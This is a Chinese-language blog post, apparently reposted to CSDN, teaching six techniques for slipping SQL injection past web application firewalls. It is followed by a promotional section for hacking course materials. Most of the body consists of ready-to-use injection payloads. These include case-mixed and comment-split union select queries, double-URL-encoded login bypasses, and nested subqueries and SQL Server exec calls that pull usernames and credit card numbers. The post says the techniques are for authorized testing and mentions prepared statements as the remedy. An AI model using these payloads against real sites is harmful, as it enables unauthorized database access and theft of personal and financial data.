收藏必备:6种绕过WAF的SQL注入技巧,小白也能轻松掌握
文章详解六种绕过WAF的SQL注入技巧:大小写变形、注释干扰、关键字拆分、编码转换、特殊字符替代和多语句嵌套。这些技巧利用WAF规则固定性与数据库语法灵活性之间的矛盾,应用于合法授权测试可帮助企业发现防护漏洞。安全人员应从源头避免SQL注入,使用预编译语句和ORM框架。
WAF是拦截 SQL 注入的重要屏障,但主流 WAF 的检测规则多基于 “关键字匹配”“语法特征识别” 等固定逻辑。只要抓住这些规则的盲区,通过合理的 SQL 语句变形,就能在合法授权测试中绕过防护,精准定位漏洞。
一、大小写变形:利用 WAF 关键字匹配盲区
原理
多数 WAF 的关键字检测规则是 “大小写敏感” 的,比如仅拦截全小写的 “union select”“and 1=1”,但对混合大小写的语句识别能力较弱。而 MySQL、SQL Server 等主流数据库默认对关键字大小写不敏感(PostgreSQL 需注意,默认敏感),这就形成了 “WAF 拦截失效,数据库正常执行” 的漏洞。
实战场景
以某使用阿里云 WAF(基础防护模式)的站点为例,目标 URL 为http://test.com/product?id=1。
- 初始测试:输入
id=1' union select 1,2,database()--+,WAF 立即拦截,日志显示 “命中 union select 关键字规则”;
- 初始测试:输入
- 变形尝试:将关键字改为混合大小写 ——
id=1' UnIoN SeLeCt 1,2,dAtAbAsE()--+;
- 变形尝试:将关键字改为混合大小写 ——
- 结果:WAF 未触发拦截,页面返回数据库名 “test_db”,说明绕过成功。
注意事项
- • 若目标数据库是 PostgreSQL,需先确认其大小写配置(通过
show case_sensitive_identifier;查看),若为 “on”,则该技巧失效; - • 部分高端 WAF 已支持 “大小写不敏感检测”(如 Cloudflare 企业版),需先通过简单变形测试 WAF 规则强度。
二、注释干扰:用合法注释打断检测特征
原理
WAF 检测 SQL 注入时,会识别 “关键字 + 符号” 的连续特征(如 “union select”“’ or 1=1”)。若在关键字中间插入数据库支持的合法注释(如/**/“–”“#”),可打断 WAF 的特征匹配,但数据库会忽略注释,正常解析语句。
实战场景
目标站点使用 Cloudflare WAF,测试http://test.com/user?id=1:
- 直接注入:
id=1' or 1=1--+,WAF 拦截,提示 “检测到 OR 条件注入”;
- 直接注入:
- 注释变形:
- • 用
/**/拆分关键字:id=1' o/**/r 1=1--+; - • 用 “–” 插入无关内容:
id=1' or 1-- abc=1--+(“-- abc=1” 是合法注释,数据库会忽略);
- 结果:两种变形均绕过 WAF,页面返回所有用户数据(因 “or 1=1” 恒真)。
注意事项
- • 不同数据库注释语法不同:MySQL 支持
#“–”(注意 “-- ” 后需加空格)、/**/;Oracle 仅支持 “–” 和/* */,不支持#; - • 避免过度插入注释:若注释过多导致语句长度超过 WAF 的 “最大请求长度限制”,可能触发额外拦截。
三、关键字拆分:用空格 / 特殊字符替代固定间隔
原理
WAF 常将 “关键字 + 空格 + 关键字” 视为危险特征(如 “union select”“select from”),但数据库允许用非空格字符替代间隔(如%20“%09”“()`”)。通过替换间隔字符,可打破 WAF 的特征识别逻辑。
实战场景
某电商站点使用华为云 WAF,测试http://test.com/category?id=2:
- 原始注入:
id=2' union select 1,group_concat(username) from user--+,WAF 拦截,规则显示 “匹配 union select from 特征”;
- 原始注入:
- 拆分变形:
- • 用
%09(Tab 符 URL 编码)替代空格:id=2' union%09select 1,group_concat(username)%09from%09user--+; - • 用 “()
”包裹关键字:id=2’ union(select)1,group_concat(username)from(user)–+`;
- 结果:两种变形均通过 WAF 检测,页面返回所有用户名(如 “admin,test123”)。
注意事项
- •
%09“%0A”(换行符)等特殊字符需确保服务器能正常解析(多数 Apache、Nginx 默认支持); - • 部分 WAF 会检测 “union” 后接非空格字符的情况,可结合 “大小写 + 拆分” 双重变形(如
UnIoN%09SeLeCt)。
四、编码转换:利用 WAF 解码不彻底漏洞
原理
WAF 对 URL 参数的解码通常是 “单次解码”,但服务器会对参数进行 “多次解码” 直至无法解析。若将 SQL 注入中的关键符号(如'“=”)进行多次 URL 编码或 Unicode 编码,可让 WAF 解码后仍无法识别危险特征,而服务器解码后能正常执行。
实战场景
目标站点使用深信服 WAF,测试http://test.com/login?username=admin:
- 直接注入:
username=admin' or '1'='1,WAF 拦截,提示 “检测到单引号注入”;
- 直接注入:
- 编码变形:
- • 单引号
'的 URL 编码:1 次编码为%27,2 次编码为%2527; - • 注入语句:
username=admin%2527 or %25271%2527=%25271;
- 结果:WAF 解码 1 次后得到 “admin%27 or %271%27=%271”,未识别为注入;服务器解码 2 次后还原为 “admin’ or ‘1’='1”,成功登录。
注意事项
- • 优先尝试 2 次 URL 编码:超过 3 次可能导致服务器解析失败;
- • Unicode 编码仅适用于支持中文的场景(如
'的 Unicode 编码为\u0027),需确认服务器是否支持 Unicode 解析。
五、特殊字符替代:用等价语法绕过关键字检测
原理
SQL 语法中存在大量 “等价字符”,比如 “+” 和 “||” 均可用于字符串拼接,“=” 和 “like” 在部分场景下功能相同。若 WAF 拦截某类关键字 / 符号,可用其等价替代字符绕过,同时保证数据库正常执行。
实战场景
某政务站点使用启明星辰 WAF,测试http://test.com/search?keyword=test:
- 原始注入:
keyword=test' and (select count(*) from admin)>=1--+,WAF 拦截 “and (select” 特征;
- 原始注入:
- 等价替代变形:
- • 用 “like” 替代 “=”:
keyword=test' and (select count(*) from admin) like 1--+; - • 用 “||” 替代 “+”(若需拼接字符串):
keyword=test' union select 1,username||password from admin--+;
- 结果:变形后语句未触发 WAF 拦截,页面返回 “admin” 的 count 值(证明 admin 表存在)。
注意事项
- • 等价字符需匹配数据库类型:MySQL 用 “+” 拼接,Oracle 用 “||”,PostgreSQL 两者均可;
- • “like” 替代 “=” 仅适用于数值比较(如 “count (*) like 1”),字符串比较需注意通配符(如 “username like ‘admin%’”)。
六、多语句嵌套:用复杂结构迷惑 WAF 规则
原理
WAF 的检测规则多针对 “简单语句结构”,对嵌套子查询、存储过程调用等复杂结构识别能力较弱。通过将注入语句嵌套在合法 SQL 语法中(如select (select ... from ...) from ...),可让 WAF 误判为正常查询,同时数据库能逐层解析执行。
实战场景
某金融站点使用天融信 WAF,测试http://test.com/transaction?id=100:
- 原始注入:
id=100' union select 1,credit_card from user where id=1--+,WAF 拦截 “union select … from user”;
- 原始注入:
- 嵌套变形:
- • 子查询嵌套:
id=100' union select 1,(select credit_card from (select credit_card from user where id=1) as t)--+; - • 存储过程嵌套(仅适用于 SQL Server):
id=100'; exec('se'+'lect credit_card from user where id=1')--+;
- 结果:WAF 未识别嵌套子查询的危险特征,服务器执行后返回用户 “id=1” 的信用卡号(脱敏后示例:“****1234”)。
注意事项
- • 嵌套层数不宜过多:超过 3 层可能导致数据库执行超时;
- • 存储过程调用需确认数据库权限:如 SQL Server 的 “exec” 语句需当前用户有 “execute” 权限,否则会执行失败。
绕 WAF 的核心是 “理解规则,而非对抗规则”
上述 6 种技巧的本质,是利用 WAF “规则固定性” 与 “数据库语法灵活性” 的矛盾。但需明确:
- 没有 “万能技巧”:高端 WAF(如 AWS WAF、Cloudflare 企业版)已支持 “行为分析”“机器学习检测”,简单变形难以绕过,需结合漏洞场景(如时间盲注、布尔盲注)综合使用;
- 技术需用于合法场景:所有测试必须获得授权,避免触碰法律红线;
- 防护方的应对:WAF 需定期更新规则库,开启 “智能检测模式”,同时开发者应从源头避免 SQL 注入(如使用预编译语句、ORM 框架)。
网络安全的核心是 “攻防对抗,共同进步”,掌握绕 WAF 技巧的目的,是帮助企业发现防护漏洞,而非实施攻击 —— 这既是技术人的底线,也是行业发展的基石。
文章来自网上,侵权请联系博主
题外话
黑客/网络安全学习路线
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!
一、2025最新网络安全学习路线
一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
读者福利 |CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。
L1级别:网络安全的基础入门
L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。
L2级别:网络安全的技术进阶
L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。
L3级别:网络安全的高阶提升
L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。
L4级别:网络安全的项目实战
L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题
整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。
二、技术文档和经典PDF书籍
书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)

三、网络安全视频教程
对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识。
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
四、网络安全护网行动/CTF比赛
学以致用,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。

五、网络安全工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

面试不仅是技术的较量,更需要充分的准备。
在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。
如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
**读者福利 |**CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)